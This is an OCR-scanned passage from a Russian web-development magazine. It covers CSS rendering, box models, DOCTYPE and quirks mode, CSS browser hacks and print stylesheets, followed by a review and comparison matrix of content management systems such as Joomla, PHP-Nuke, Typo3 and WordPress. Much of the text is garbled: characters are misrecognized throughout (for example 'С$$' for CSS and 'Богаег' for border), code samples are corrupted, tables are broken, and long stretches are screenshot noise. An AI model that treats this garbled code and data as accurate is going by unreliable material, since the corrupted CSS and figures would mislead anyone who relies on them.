стал первым движком, в котором реализована 
поддержка прозрачности при отображении фай- 
лов формата PNG. 

А теперь самое интересное. MacBU — это 
подразделение Microsoft. При численности под 200 
человек этот крупнейший коллектив разработчи- 
ков для платформы Macintosh находится за преде- 
лами компании Ар!е. Движок Tasman был поло- 
жен в основу браузера Internet Explorer 5.5 для 
платформы Macintosh, выпущенного в 2000 году. К 
сожалению, из-за конкуренции со стороны Safari 
стратегия MacBU изменилась, и разработка и под- 
держка многообещающего продукта была приос- 
тановлена несколько лет назад. 
> Kak 9TO работает. Как уже было сказано, тех- 
нология CSS описывает внешний вид отображае- 
мого документа во исполнение принципа отделе- 
ния контента от его представления. Для противни- 
ков принципиальности поясню: а) это облегчает 


стандартная блочная модель 
граница: 1Орх 


отступ: 1Орх 


содерижимое 
блока: 100рх 


поддержку сайта (позволяет быстро сменить ди- 
зайн); 6) упрощает структуру документа и умень- 
шает время загрузки за счет вынесения повторяю- 
щихся инструкций в одно правило (класс); в) повы- 
шает доступность документа за счет предусмот- 
ренной настройки внешнего вида документа с уче- 
том возможностей различных типов устройств вы- 
вода (дисплея, принтера и т.д.) и даже под нужды 
конкретного пользователя. Браузер работает с 
CSS следующим образом: 


1 ПАРСИНГ НТМЕ-ДОКУМЕНТА И СОЗДА- 
НИЕ ДЕРЕВА ЭЛЕМЕНТОВ; 


2 ИДЕНТИФИКАЦИЯ ЦЕЛЕВОГО ТИПА 
МЕДИА (УСТРОЙСТВА ОТОБРАЖЕНИЯ); 


з ПОЛУЧЕНИЕ ВСЕХ СТИЛЕЙ ДОКУМЕН- 
ТА В СООТВЕТСТВИИ С УКАЗАННЫМИ 
ТИПАМИ МЕДИА; 


4 АННОТАЦИЯ КАЖДОГО ЭЛЕМЕНТА ПУ- 
ТЕМ ПРИСВОЕНИЯ СВОЙСТВАМ ЭЛЕМЕН- 
ТОВ ЗНАЧЕНИЙ ИСХОДЯ ИЗ УКАЗАННЫХ 
ДЛЯ НИХ СТИЛЕЙ, А ТАКЖЕ С УЧЕТОМ 
НАСЛЕДОВАНИЯ РОДИТЕЛЬСКИХ; 


5 ГЕНЕРАЦИЯ СТРУКТУРЫ ФОРМАТИРО- 
ВАНИЯ НА ОСНОВЕ ДЕРЕВА ДОКУМЕНТА; 


в ПЕРЕДАЧА ФОРМАТИРОВАННОГО ДО- 
КУМЕНТА НА ВЫВОД (ДИСПЛЕЙ, НА ПЕ- 
ЧАТЬ И Т.Д.). 


Для \ммеб-страниц существует три типа подключе- 
ния стилей, которые разграничивают по источнику: 


1 АВТОРСКИЕ СТИЛИ (СОЗДАННЫЕ 
РАЗРАБОТЧИКАМИ САЙТА), КОТОРЫЕ, 
В СВОЮ ОЧЕРЕДЬ, МОГУТ ПРИМЕНЯТЬ- 
СЯ ТРЕМЯ РАЗЛИЧНЫМИ СПОСОБАМИ: 


А) ВНЕШНИЕ ТАБЛИЦЫ СТИЛЕЙ. 
РАСПОЛАГАЮТСЯ В ОТДЕЛЬНОМ ФАЙЛЕ 
*.CSS, НА КОТОРЫЙ ДАЕТСЯ ССЫЛКА 

В НТМЕ-ДОКУМЕНТЕ. НАПРИМЕР: 
<STYLE TYPE="TEXT/CSS" 
MEDIA="SCREEN"> @IMPORT 
URL(/STYLES/SCREEN.CSS);</STYLE> 


В) ВСТРОЕННЫЕ СТИЛИ. 

КОД С$$ ПОМЕЩАЕТСЯ В ТЕЛЕ 
НТМЕ-ДОКУМЕНТА: 

<STYLE TYPE="TEXT/CSS" 
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MEDIA="SCREEN">.STYLE {FONT-FAMILY: 
VERDANA,SANS-SERIF}</STYLE> 


С) СТРОЧНЫЕ СТИЛИ, КОТОРЫЕ NPUME- 
НЯЮТ ИНДИВИДУАЛЬНО ДЛЯ КОНКРЕТ- 
НОГО ЭЛЕМЕНТА И УКАЗЫВАЮТСЯ В АТ- 
РИБУТЕ STYLE НУЖНОГО НАМ ТЕГА: 

<P STYLE="FONT-WEIGHT:BOLD'> 


2 ПОЛЬЗОВАТЕЛЬСКИЕ СТИЛИ. HEKO- 
ТОРЫЕ БРАУЗЕРЫ (НАПРИМЕР ОРЕВА) 
ПОЗВОЛЯЮТ ПОЛЬЗОВАТЕЛЮ СОЗДА- 
ВАТЬ СОБСТВЕННЫЕ СТИЛИ, КОТОРЫЕ 
ХРАНЯТСЯ В ЛОКАЛЬНОМ С$$-ФАЙЛЕ И 
ИСПОЛЬЗУЮТСЯ ДЛЯ ОПРЕДЕЛЕНИЯ СТИ- 
ЛЕЙ НА ВСЕХ ПРОСМАТРИВАЕМЫХ СТРА- 
НИЦАХ. ЭТУ ВОЗМОЖНОСТЬ ОБЫЧНО ИС- 
ПОЛЬЗУЮТ ЛЮДИ С ПЛОХИМ ЗРЕНИЕМ. 


3 СТИЛЬ БРАУЗЕРА. «ЗАВОДСКИЕ 
НАСТРОЙКИ», ПРЕДУСМОТРЕННЫЕ 
РАЗРАБОТЧИКАМИ ДЛЯ ОПРЕДЕЛЕНИЯ 
ПРЕДСТАВЛЕНИЯ ЭЛЕМЕНТОВ HTML 
ПО УМОЛЧАНИЮ. 


Пользовательские стили имеют высший приоритет 
и позволяют переопределять авторские. Исключе- 
ние составляют стили с параметром !important, кото- 
рый был введен специально для защиты авторских 
стилей от переопределения на стороне пользовате- 
ля. Если ни пользователь, ни автор сайта не опреде- 
лили стиль для некого элемента, он будет отобра- 
жен в соответствии с собственными стилями брау- 
зера. В различных браузерах они могут отличаться. 
> практика. Для успешного освоения CSS- 
верстки нужно усвоить особенности реализации 
блочной модели в различных браузерах. В соответ- 
ствии со стандартной моделью, ширина блока не 
включает в себя отступы (padding) и границы (bor- 
ders). Эта модель поддерживается во всех совре- 
менных браузерах за исключением Internet Explorer 
(до версии 6), который имеет собственное мнение 
по данному вопросу. В блочной модели IE ширина 
отступов и границ включается в ширину блока за 
счет уменьшения размера области контента, как 
показано на иллюстрации. Такая же модель ис- 
пользуется и в бродилках Netscape 4 и Opera 7. 
Грядущая спецификация CSS3 вводит свойство 
«box-sizing», позволяющее выбирать нужную модель, 
указывая значение «content-box» для использования 
стандартной модели, и «Богаег-Бох» — для использо- 
вания модели IE. Браузер Mozilla, поддерживающий 
черновые рекомендации С$$3, уже поддерживает 
это свойство под собственным именем «-moz-box- 
sizing». Разработчики также ввели еще одно, на дан- 
ный момент нестандартное значение (и еще одну 
блочную модель) — «padding-box», которым подра- 
зумевается, что ширина блока равна ширине облас- 
ти контента и отступов, исключая границы. 
Хороший и правильный (Х)НТМЕ-код начина- 
ется с правильного указания типа документа 
(DOCTYPE). Эти сведения необходимы браузеру 
для выбора режима рендеринга документа. Если 


www.webmascon.com — актуальные материалы о меБ-дизайне и меб-разработках 


www.alistapart.com — for people who make web-sites ;) 


http://glish.com/css — CSS — для пользы и выгоды. Ha английском 


www.meyerweb.comleric/css — еще один недетский ресурс о CSS на языке Шекспира 
www.artlebedev.ru/tools/technogrette — сотрудники небезызвестного Лебедева делятся знаниями 


тип не декларируется либо при его объявлении до- 
пущены ошибки, документ рендерится в особом 
«режиме несоответствия стандартам» (quirks- 
mode) и руководствуется при этом не логикой реко- 
мендаций W3C, а собственным разумением. Хоте- 
лось бы обратить внимание меБ-девелоперов на 
необъяснимый глюк в IE6: верстая в XHTML 1.0 
Transitional, нельзя указывать пролог (<?xml ver- 
sion="1.0"?>), так как он приводит к рендерингу до- 
кумента в quirks-mode, несмотря на то, что все сде- 
лано правильно. К счастью, пролог является необя- 
зательным элементом и его можно смело удалить. 
Для CSS справедливы «правила хорошего то- 
на», которыми программеры пользуются при написа- 
нии кода. Аккуратность, выверенная логика, привыч- 
ка комментировать код и стремление к оптимизации 
сослужат тебе хорошую службу. Код, подобный при- 
веденному ниже, запросто может быть оптимизиро- 
ван на 20-30% («пример беспощадной оптимизации 
кода»), приобретя при этом приятную чистоту-про- 
зрачность и скорость загрузки. 
> хаки без хакеров. Специфика реализации 
каскадных стилей в различных смотрелках застав- 
ляет меб-разработчиков искать способы «впра- 
вить мозги» программам, имеющим собственный, 
оригинальный взгляд на вещи. В результате полу- 
чаем: одинаковое отображение страницы в боль- 
шинстве браузеров... и невозможность пройти ва- 
лидацию С$$. Такие хитрости называют хаками 
либо С$$-фильтрами. Избирательность возможна 
благодаря глюкам отдельных версий браузеров, 
что позволяет «скармливать» нужный код конк- 
ретной программе, в то время как другие его про- 
игнорируют. Например: 


наследуемые 
свойства 

в таблице 
css 


AZIMUTH 
BORDER-COLLAPSE 
BORDER-SPACE 
CAPTION-SIDE 
COLOR 

CURSOR 
DIRECTION 
EMPTY-CELLS 
FONT 

FONT-FAMILY 
FONT-STRETCH 
FONT-SIZE 
FONT-SIZE-ADJUST 
FONT-VARIANT 
FONT-WEIGHT 
LETTER-SPACING 
LINE-HEIGHT 
LIST-STYLE 
LIST-STYLE-IMAGE 
LIST-STYLE-POSITION 
LIST-STYLE-TYPE 
ORPHANS 

PAGE 
PAGE-BREAK-INSIDE 
QUOTES 

SPEAK 
SPEAK-HEADER 
TEXT-ALIGN 
TEXT-INDENT 
TEXT-TRANSFORM 
VOLUME 
WHITE-SPACE 
WIDOWS 
WORD-SPACING 


Пример беспощадной оптимизации кода 


РЖ P {Богаег: 1px solid #00; 


color: #336699; 
border-style : solid; 
border-width : 1px; 
border-color : #f0000; 
font-weight : bold; 
line-height : 1.Зет; 
margin-bottom : .7em; 
margin-left : .4em; 
margin-right : 1.Зет; 
margin-top : .7em; 
border-color: #с06565; 
} 


font-weight : bold; 

color: #369; 

line-height : 1.3em; 

margin: .7em 1.3em .7em .4em} 


Классификация элементов в соответствии 
со спецификацией HTML 4 Strict 


блочны 


<А> <ADDRESS> 

<ABBR> <BLOCKQUOTE> 

<ACRONYM> <CENTER> 

<B> <DIR> 

<BDO> <DIV> 

<BIG> <DL> 

<BR> <FIELDSET> 

<CITE> <FORM> 

<CODE> <H1> 

<DFN> <H2> 

<EM> <H3> 

<I> <H4> 

<IMG> <H5> 

<INPUT> <H6> 

<KBD> <HR> 

<LABEL> <ISINDEX> 

<Q> <MENU> 

<SAMP> <NOFRAMES> 

<SELECT> <NOSCRIPT> 

<SMALL> <OL> 

<SPAN> <P> 

<STRONG> <PRE> 

<SUB> <TABLE> 

<SUP> <UL> 

<TEXTAREA> <DD> 

<TT> <DT> 

<VAR> <FRAMESET> 
<LI> 
<TBODY> 
<TD> 
<TFOOT> 
<TH> 
<THEAD> 
<TR> 


Код, приведенный выше, поможет в борьбе с 
монстром от Microsoft, но для Opera 5 и Netscape 
4 придется подыскать другие способы наставить 
их на путь истинный. К примеру, для Netscape 
можно использовать его неприятие конструкции 
@import. Если ты готов пожертвовать валид- 
ностью своего кода, хаки здорово облегчат тебе 
жизнь. Нужно лишь помнить о том, что универ- 
сальных хаков не существует: вставая на скольз- 
кий путь одурачивания браузеров, нужно припас- 
ти лекарства для обширного зоопарка смотрелок. 
Богатая библиотека С$$-фильтров расположи- 
лась по адресу www.dithered.com/css_filters/css_only. 

Нельзя обойти вниманием еще один курьез 
от Microsoft: корпорация сама создала лекарство 
для лечения болезней собственных браузеров. 
Речь идет о проприентарных тегах (в терминоло- 
гии авторов — Conditional Comments), позволяю- 
ЩИХ «подсунуть» нужные стили для Internet 
Explorer 5.x. 


Более разумной, с точки зрения стандартов, альтер- 
нативой хакам и проприентарным тегам может пос- 
лужить использование Javascript для определения ти- 
па браузера. Однако параноидальные пользователи, 
отключая исполнение скриптов в браузерах, не поз- 
воляют использовать данное решение как панацею. 
> печать. CSS предоставляет нам блестящую 
возможность больше не заботиться о создании 
страниц с printer-friendly версиями документов. В 
первую очередь скроем функциональные блоки, 
бесполезные в твердой копии страницы, при помо- 
щи значения «попе» свойства display;. Это боль- 
шая часть дизайнерских наворотов в шапке и под- 
вале страницы, а также навигация, баннеры и все 
прочее, что не имеет прямого отношения 
собственно к контенту. Поскольку принтеры имеют 
более высокое разрешение, имеет смысл скрыть 
также и логотип сайта и отдать принтеру другой 
(можно даже черно-белый) — с более высоким 
разрешением. Для этого создай блок со вторым 
логотипом и скрывай его в версии для дисплея. 
Подобным образом, например, поступила команда 
Артемия Лебедева — они создали таблицу стилей 
для печати страниц сайта Студии. 

Для печати принято задавать размер кегля 
шрифта в пунктах (типографская единица измере- 
ния), и будет вполне логично поступить таким же 
образом и при создании стилей для принтера. В 
результате пользователи получат буквы опти- 
мального размера, привычные им по распечаткам 
документов Microsoft Office. 

Отдельного упоминания заслуживают фоно- 
вые изображения. Поскольку шансы на то, что 
текст будет читаться так же хорошо, как и на экра- 
не, минимальны, смело отменяем использование 
картинок на бэкграунде. Также не помешает опти- 
мизация палитры для придания ей максимальной 
контрастности. Идеал — белый фон и черный 
текст. Если ты все же решил использовать в сти- 
лях для печати не только оттенки серого, не поле- 
нись проверить, как будет выглядеть твое буйство 
красок, если его распечатают на стареньком мо- 
нохромном лазернике. 


На благодарном поприще создания стилей для пе- 
чати разработчика поджидают несколько подвод- 
ных камней. Один из них — ошибка в Mozilla (каса- 
ется всех браузеров, основанных на движке Gecko: 
Firefox, Netscape, Camino и др.), связанная с пе- 
чатью блочных элементов, для которых задано 
свойство float. Баг выражается в том, что независи- 
мо от размеров блок распечатывается только на 
одной странице. Все, что не поместилось на нее, 
игнорируется. Решение проблемы просто, как со- 
ветские трусы за рупь двадцать: назначаем свой- 
ству float значение «попе» и радуемся жизни. 

Хотелось бы упомянуть рацпредложение 
Эрика Майера, выдвинутое в его статье «С$$. 
Going to Print» на сайте А List Apart. Суть новации 
такова: при распечатывании документа, содержа- 
щего ссылки, естественным образом теряются ад- 
peca URL (кто там кликает на листе бумаги?). Пыт- 
ливый ум нашего буржуйского коллеги нашел вы- 
ход из данной ситуации — применил в стилях для 
печати достижения С$$2. Результатом их работы 
станет появление после текста самой ссылки ад- 
реса URL в скобках. Эта красота работает в брау- 
зерах Mozilla и Netscape 6.x. 


Кроме как для принтеров, есть смысл создавать 
отдельные стили и для наладонников, которые от- 
личаются маленьким экраном с ограниченным 
разрешением и медленным (и часто дорогим) сое- 
динением с интернетом. Как сделать это, читай на 
сайте Александра Качанова (снимаю шляпу!) 
www.webmacson.com, Прочие типы устройств вывода, 
равно как и голосовые браузеры, пока недостаточ- 
но распространены... хотя бы для того, чтобы про- 
тестировать на них свой сайт. Так что можно не 
распыляться и сосредоточиться на популярных 
медиа :). Исключение составляет, пожалуй, телеп- 
риставка WebTV, в прошлом популярная в Штатах. 
Она характеризуется низким разрешением, мень- 
шей четкостью и более узким, чем RGB, цветовым 
пространством — все это издержки конструктив- 
ных особенностей телевизоров, которые исполь- 


зуются как приставки в качестве монитора © 


Зависимость режимов рендеринга в Internet Explorer от указания DOCTYPE 


(quirks — режим несоответствия стандартам) 


Варианты использования doct 


ransitional - без doctype 


quirks 


quirks 


Мас/1Е5 


quirks 


HTML 4.01 Transitional - без URL в doctype 


quirks 


quirks 


quirks 


HTML 4.01 Transitional - полный doctype 


стандартный 


стандартный 


стандартный 


XHTML 1.0 Transitional - без doctype 


quirks 


quirks 


quirks 


XHTML 1.0 Transitional - 6e3 URL B doctype 


quirks 


quirks 


стандартный 


XHTML 1.0 Transitional - без doctype 


quirks 


quirks 


стандартный 


XHTML 1.0 Transitional - без пролога 


стандартный 


стандартный 


стандартный 


XHTML 1.0 Transitional - без пролога и URL 


стандартный 


стандартный 


стандартный 
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лучшие В 
друзья зодчего = 


ОБЗОР ПОПУЛЯРНЫХ СИСТЕМ УПРАВЛЕНИЯ 
КОНТЕНТОМ САИТА 


СИСТЕМЫ УПРАВЛЕНИЯ КОНТЕНТОМ ИС- 
ПОЛЬЗУЮТСЯ ДЛЯ СОЗДАНИЯ САЙТОВ 
ВСЕ ЧАЩЕ И ЧАЩЕ. КОЛИЧЕСТВО ТАКИХ 
СИСТЕМ УВЕЛИЧИВАЕТСЯ С КАЖДЫМ 
ДНЕМ, ОНО УЖЕ ДОСТИГЛО СОТНИ. 
ЕСТЬ ПЛАТНЫЕ И БЕСПЛАТНЫЕ. СОЗДА- 
НЫ ТЫСЯЧИ МОДУЛЕЙ ДЛЯ НИХ — ВОЗ- 
МОЖНОСТИ ВСЕ РАСШИРЯЮТСЯ И РАС- 
ШИРЯЮТСЯ 


{ Бог! зуо | [5 оп @ дмаг!. сот } 


> одна интересная история. Давным-давно, в 
одной далекой-далекой галактике, одному web- 
программеру нужно было сделать сайт, но не 
обычный статический, а с возможностью обновле- 
ния контента. И знал программер Perl. За пару He- 
дель он написал десяток-другой скриптов, они да- 
же заработали. Помнится, вся информация в этой 
наколенной СМ$’ке хранилась в текстовых фай- 
лах. Шло время, и вот маленький программист 
добрался до языка РНР, потом был MySQL и еще 
пара СМ$, написанных своими руками. О том, что 
написанное им называется CMS (Content Manage- 
ment System — система управления контентом), 
программер узнал позже. Также он узнал, что су- 
ществует множество готовых продуктов. Через 


Данная система уп- 
равления контентом 
предназначена для ор- 
ганизации сайтов в ло- 
кальной сети, корпора- 
тивных сайтов, блогов, 
галерей, интернет-ма- 
газинов и проч. Тип 
сайта выбирается при 
установке, в результа- 
те чего определяется 
соответствующий на- 
бор модулей. Основ- 
ной прелестью eZ pu- 
blish является мульти- 
сайтинг — ты сможешь 


eZ publish 3.x 
Размер: 9 Мб 


Wwww.ez.no 


Site hee 
PSs ee ae ee ee a ey ee re lhe Pee ee ши 
oe и 


его руки прошли phpBB, phpNuke, Mambo, Joomla 
и Drupal... Конечно же, эта история правдивая и 
она повествует о нелегких буднях автора статьи, 
чтобы никто из читателей не повторял его трагиче- 
ский путь и не принимался изобретать велосипед. 
> — что такое CMS? Это программное обеспече- 
ние, которое управляет работой сайта. СМ$ по- 
зволяют создавать сайты не зная языки програм- 
мирования и мер-технологии, наполнять сайты со- 
держанием, создавать сообщества пользователей 
и много другое (смотри врезку). Большинство 


поднять несколько сай- 
тов, которые будут 
крутиться на одном 
движке. Также отмечу 
систему триггеров — 
установку действия на 
какое-то событие. На- 
пример, пользователь 
создает материал, ко- 
торый остается недо- 
ступным до определен- 
ной даты. 


Joomla (Mambo) 
www.mamboserver.com 
Размер: около 2 Мб 


www.joomla.org 


Sula ly 


CMS построены по модульной архитектуре, то 
есть их функциональность может быть расширена 


при помощи плагинов. 


CMS, которые будут рассмотрены ниже, ра- 


ботают под управлением web-cepBepa Apache, хо- 
тя некоторые и не отрицают возможность работы 
под IIS. Все они написаны на РНР и Perl, причем 
первому принадлежит абсолютная популярность. 
В качестве базы данных используется MySQL и 
другие базы. Другими словами, установить все эти 


СМ$ удастся практически на любой хостинг. 


Судя по версии (на мо- 
мент написания 
статьи — 1.0.8), систе- 
ма молодая, но это не 
так. Фактически Joomla 
отделился от Mambo — 
на настоящий момент 
одна из самых попу- 
лярных систем упра- 
вления сайтом. Кроме 
армии пользователей и 
разработчиков, эта си- 
стема управления кон- 
тентом украшена мно- 
жеством наград от со- 
общества Open Source. 
Главное качество 
Mambo (Joomla) — это 
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простота использова- 
ния и гигантское коли- 
чество плагинов. Про- 
стота начинается с 
установки, которая 
происходит в автомати- 
ческом режиме. На- 
стройка всех параме- 
тров сайта также про- 
изводится через web- 
интерфейс. Модули к 
этой СМ$ поставляют- 
ся в виде 7р-архивов, 
при установке Joomla 
автоматически распа- 
ковывает их и затем 
устанавливает плагин. 
Разработаны модули 
практически для всех 
целей — от простых 
блогов до мощных си- 
стем построения но- 
востных сайтов. Joomla 
подойдет тем, кто хо- 
чет максимально про- 
стым способом полу- 
чить меБ-сайт с обшир- 
ным функционалом. 
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вороченных, от самых 
шустрых до самых на- 
груженных. Разумеет- 
ся, для РНР-МиКе напи- 
сано множество моду- 
лей — те, кому не хва- 
тает встроенных воз- 
можностей, порадуют- 
ся. Эта система упра- 
вления контентом име- 
Be 5 в 
a a 
=) oe ne Я 
= == SS SSS 
a ЕЕ 
= ee -= ее. 
зы | St | 
—— | ee eer on ЗЫ 
== a tig 
—— 2 = 
= = 
——— = Sy ЕН 39 пении 
7 poland 
Do Итак, перед нами тя- 
as желовес — промыш- 
NR 
© s ленная система упра- 
2 = 2 вления контентом сай- 
> £8 та. Можно сказать, что 
Fm =a 


в Typo3 вмещаются 
не только СМ$, но 

и CMF — Content Ма- 
nagement Framework. 
На этой системе рабо- 
тают тысячи проектов, 
причем не мелкие, а 
сайты крупных корпо- 
раций (к примеру 


Судя по данным сайта 
cmsmatrix.org, ЭТа систе- 
ма управления контен- 
том умеет многое. 

Все в одном флаконе. 
Так что если тебе 
неинтересно качать 
разные модули, а хо- 
чется всего и сразу, 


то WebGUI kak раз 
для тебя. Кстати, она 
написана на языке 
Perl, B отличие от дру- 
гих CMS. 


ет практически один 
недостаток — в безо- 
пасности. По количе- 
ству найденных дыр 
Nuke стал рекордсме- 
ном, и вообще для не- 
которых людей SQL- 
инъекция ассоциирует- 
ся именно с этой СМ$. 
Могу посоветовать 
любителям острых 
ощущений. 


WebGUI 
www.plain- 
black.com/webgui 
Размер: 3,5 Мб 


Pe arate га сдать сыт С беениья учеалны P 
терра Ber. Пл: 


A a os ST Be a в 
Бытовая ‘em ppm” ad pero 


терь. ЗА жи pepe Arde ot ae prams be a pepe cohol 
А, Fale, WoL SUSI “ou =". 
Feared iat ies eee 


Балтии ee TS РБ a ee we СЫ 
FG ag Te eel peed PT ead ee 4. Га 
a ge ee Es Ey a a psp 


Ee Ar ia Tien Ra В кб ey ый he еда Bye 1 ares 
tiie a ial tintin Te Fp pte aie ee ey 
(Fe ab eed ee Eales STE Re Lie ee TT 
em: Ieee LW: Se Ee ee) УРНЫ 
eS ees Geer a ee Hi eee Se 
ee 2 ree ар eee ce 


Epson и Philips) и 06- аист ети ож 
щественных организа- 

ций. Соответственно, 
и уровень безопасно- 
сти системы очень вы- 


сокий. Можно посове- D> Блоги становятся все 
товать ставить Typo3 Ф Е 10 популярнее и популяр- 
на сайт, где важны 8 Ф = нее. Некоторые cne- 
прежде всего надеж- & 5 о циалисты пророчат, 
ность и безопасность. 3 Ё 5 что они вытеснят даже под ведение блогов, — 
= 
(®) = Е средства информации. WordPress. Сверхма- 
ad Бет = Ее Перед тобой СМ$, за- ленький дистрибутив 
точенная специально и ничего лишнего. 
Dictation: ‘Spsterns: 
—=-—953ы- 
ie п. тя. фиаияелска + 
eee TET 
на ees past 
Pec tt soem 
ert eed 


G2 ee ee Б-р 


Матрица сравнения систем управления содержанием 


Популярность eZ publish 3.x Joomla! 1.0.7 PHP Nuke 6 ТУРОЗ 4.0 WebGUI 6.8 WordPress 1.5 Xaraya 1.0 Xoops 2.06 
Количество страниц в Google‘ 5 710 000 91 400 000 76 600 000 13 300 000 589 000 174 000 000 2 030 000 31 300 000 
Количество ссылок * 16 100 104 000 332 000 4 760 702 952 000 6 960 90 200 
База данных MySQL MySQL MySQL MySQL MySQL MySQL MySQL MySQL 

PostGreSQL Postgres PostGreSQL Музон 

Oracle mSQL Oracle PostgreSQL 
MSSQL Interbase MSSQL SQLite 
Sybase 

Язык программирования РНР РНР Pale PHP Perl PHP 4.1.0 PHP PHP 4.1.0 
Captcha * — e — плагин e — плагин 
Подтверждение контента e ® — e ограничено e плагин e 
Подтверждение e-mail e Г] — e e = e 
Привелегии пользователей e e ограничено e e e e e 
История посещения сайта — e — e e плагин — плагин 
Расширяемая система 
аутентификации * ® = == ПЕТЛИ be © © = 
Оповещение о проблемах — — ® e e ограничено — ограничено 
Изолированное пространство 
для тестов ° e a e e e ограничено плагин ограничено 
Управление сессиями e e — e e — e ограничено 
Поддержка версий контента ® e — e e — плагин e 


Поддержка 


Шаблоны кода — — плагин e 

Сообщество разработчиков ® ® ® ® e e e e 
Документация в интернете e e — e e e © — 
АР! для расширения e e e e e e e e 
Хостинг e e ® e e e e e 
Форум e © e e e e e e 
Списки рассылки e — — e e e e e 
Среда для автоматического — — плагин e 

тестирования ° 

Сторонние разработчики ® e e e e e e e 
Простота использования 

Расстановка содержимого 

мышкой (Drag and Drop) са am —= ати v = =a a 
Отправка сообщений 

через e-mail ” — плагин — плагин — — плагин — 
ЧПУ (Чистые URL) * e e — e e e e плагин 
Изменение размеров графики ® e — e e = = 
Макроязык e e — e e — e ограничено 
Закачка множества файлов плагин — — плагин e — плагин 
Возможность создания 

прототипов ® 0 = пали ® = 0 

Проверка правописания — — — ® ограничено плагин плагин 
Помощник для выбора 

стиля сайта = = bs ® 

Подписка на рассылку e — — плагин e e плагин 
Поддержка шаблонов e e — e e — e e 
Уровни пользовательского 

интерфейса ы = = © ® 0 0 0 
Отмена операций e — — e о — плагин — 
МГУ$ЗИМУС-редактор ° ® e — © e плагин плагин плагин 
Поддержка 7р-архивов '° — = = e 

Производительность 

Продвинутое кеширование e ® — e e — e 
Репликация БД '"' e = = — e = = 
Распределение нагрузки ® — — — e — e e 
между серверами 

Кеширование страниц e e — e © плагин e 

Управление 

Управление рекламой плагин e e плагин — — плагин e 


Репозиторий файлов e e = e ® ограничено плагин e 
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Xoops 
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XOOPS (eXtensible Ob- 
ject Oriented Portal Sy- 
stem) — расширяемая 
объектно-ориентиро- 
ванная система созда- 
ния портала. 

Как и большинство со- 
братьев, использует 
базу данных MySQL. 
Имеется мощная си- 
стема управления 
пользователями 

и поддержка различ- 


ных языков (в том чи- 
сле русского). Как и 
предыдущую СМ$, ее 
можно использовать 
для сайтов средних 
размеров. Xoops чем- 
то напоминает 
пик’оподобные систе- 
мы управления. 


http://xoops.org 
Размер: 1,1 Мб 


ие 9 


Перед нами еще один 
косвенный потомок Ми- 
Ке’а, только без особых 
проблем с безопасно- 
стью. Хагауа — полно- 
стью переписанная вер- 
сия PostNuke. Обычно 
Хагауа критикуют за 
низкую производитель- 
ность, которой пользо- 
ватели расплачиваются 


за высокую расширя- 
емость системы и шаб- 
лоны на основе XML. 
Могу сказать, что эта 
CMS годится «для по- 
вседневных нужд» сай- 
та среднего размера. 


http://xaraya.org 
Размер: 3,8 Мб 


frm ine | 
ASS - | 


Tare has reached Producten Dati: Veruion 1.2 


This ee od eet eet eee ete, eee fete ee coders eed oe oe Be des it 
ie oe eee ee ae | ed ee 


sm ed gs hg gg: are mmm) ey amar fy fy БЕН | Mite pas № pee поры, ed 
ee Не сор Se ee TS es el og rn, 


РЕ ЕЯ Pes 5 ee, eee ГЫ Пе Е" 


бий te no 


Te ee Bee i eee ed Leer | 


ЕЙ ВЕНЫ Te 
Tel ee 7H es В Pee ee № НЫРЬРЬ 
Reese bet ee bee ВБР dee ae 9 
writes SF Че вла 

Thin Go is ОБ ate ee oe 0, Cre 
View mee Se oe een oe ides cea 
noe tories te eg pee 98. ше: Вы 
ай teeter rid cerns cert ps eg Я 
ee eR ae 
ho ol oe eg es ee ee ee 


eo ee eee ee, ee ee ee ee 
Fe eel ee Se La eed LS eh ee 


(Pe teers of а eed им ет 


Е ee я 
пе te ee eee ee че 
ie ee cre ЕЕ re i ete ee = 
SS то Ба ЕЕЕ в р Ч ки пе пя в 5 
ee eee ee ee es ed eee 
SS соли чизанны 25. 51. шиа4. 1 Бава 


a ee mee и ar 
a дит 1 дели листья т: ва Вы ии нии 
пы в пои Мн жа. ла: на ши 
a a a вы т тв a сыв иииы ы.ы 
НЫ, ee a вый 
вам pe ии, ва цв ищи 


КОЛИЧЕСТВО СТРАНИЦ В GOOGLE — ЭТО КОЛИЧЕСТВО СТРАНИЦ, КОТОРЫЕ GOOGLE 
ВЫДАЕТ ПО ЗАПРОСУ, СООТВЕТСТВУЮЩЕМУ НАЗВАНИЮ CMS. ДЛЯ JOOMLA ИСПОЛЬЗО- 
ВАЛСЯ ЗАПРОС JOOMLA | MAMBO. 


*KONMYECTBO ССЫЛОК — КОЛИЧЕСТВО ОБРАТНЫХ ССЫЛОК HA ОФИЦИАЛЬНЫЙ САЙТ 
CMS. ТАК GOOGLE ОЦЕНИВАЕТ ВАЖНОСТЬ СТРАНИЦ. 


* САРТСНА — КАРТИНКА С ТЕКСТОМ ИЛИ ЦИФРАМИ, КОТОРУЮ ПОКАЗЫВАЮТ ПОЛЬЗОВА- 
ТЕЛЮ ПРИ РЕГИСТРАЦИИ ДЛЯ ЗАЩИТЫ ОТ ПРОГРАММ-РОБОТОВ, КОТОРЫЕ МОГУТ ОСУ- 
ЩЕСТВЛЯТЬ АВТОРЕГИСТРАЦИЮ. 


*“РАСШИРЯЕМАЯ СИСТЕМА АУТЕНТИФИКАЦИИ — ИМЕЕТ ЛИ АДМИНИСТРАТОР САЙТА 
ВОЗМОЖНОСТЬ РАСШИРИТЬ СТАНДАРТНУЮ СИСТЕМУ АУТЕНТИФИКАЦИИ, НАПРИМЕР, ПРИ 
ПОМОЩИ LDAP. 


°` ИЗОЛИРОВАННОЕ ПРОСТРАНСТВО ДЛЯ ТЕСТОВ — ТАК НАЗЫВАЕМАЯ «ПЕСОЧНИЦА 
ДЛЯ АДМИНИСТРАТОРОВ», ГДЕ ОНИ МОГУТ ПОИГРАТЬ С НАСТРОЙКАМИ САЙТА, ПРИ ЭТОМ 
ИЗМЕНЕНИЯ БУДУТ ВИДИМЫ ТОЛЬКО ИМ. 


‘СРЕДА ДЛЯ АВТОМАТИЧЕСКОГО ТЕСТИРОВАНИЯ — НАБОР ТЕСТОВ ДЛЯ ТОГО, ЧТОБЫ 
УБЕДИТЬСЯ, ЧТО В ДАННЫХ ПРОГРАММНЫХ УСЛОВИЯХ СИСТЕМА РАБОТАЕТ ПРАВИЛЬНО. 


ОТПРАВКА СООБЩЕНИЙ ЧЕРЕЗ E-MAIL — ВОЗМОЖНОСТЬ СОЗДАНИЯ КОНТЕНТА 
ОТПРАВЛЕНИЕМ ПИСЬМА НА ЭЛЕКТРОННЫЙ АДРЕС САЙТА. 


° ЧПУ (ЧИСТЫЕ URL, ЧЕЛОВЕКОПОНЯТНЫЕ УРЛЫ) — АДРЕСА СТРАНИЦ САЙТА В ВИДЕ, 
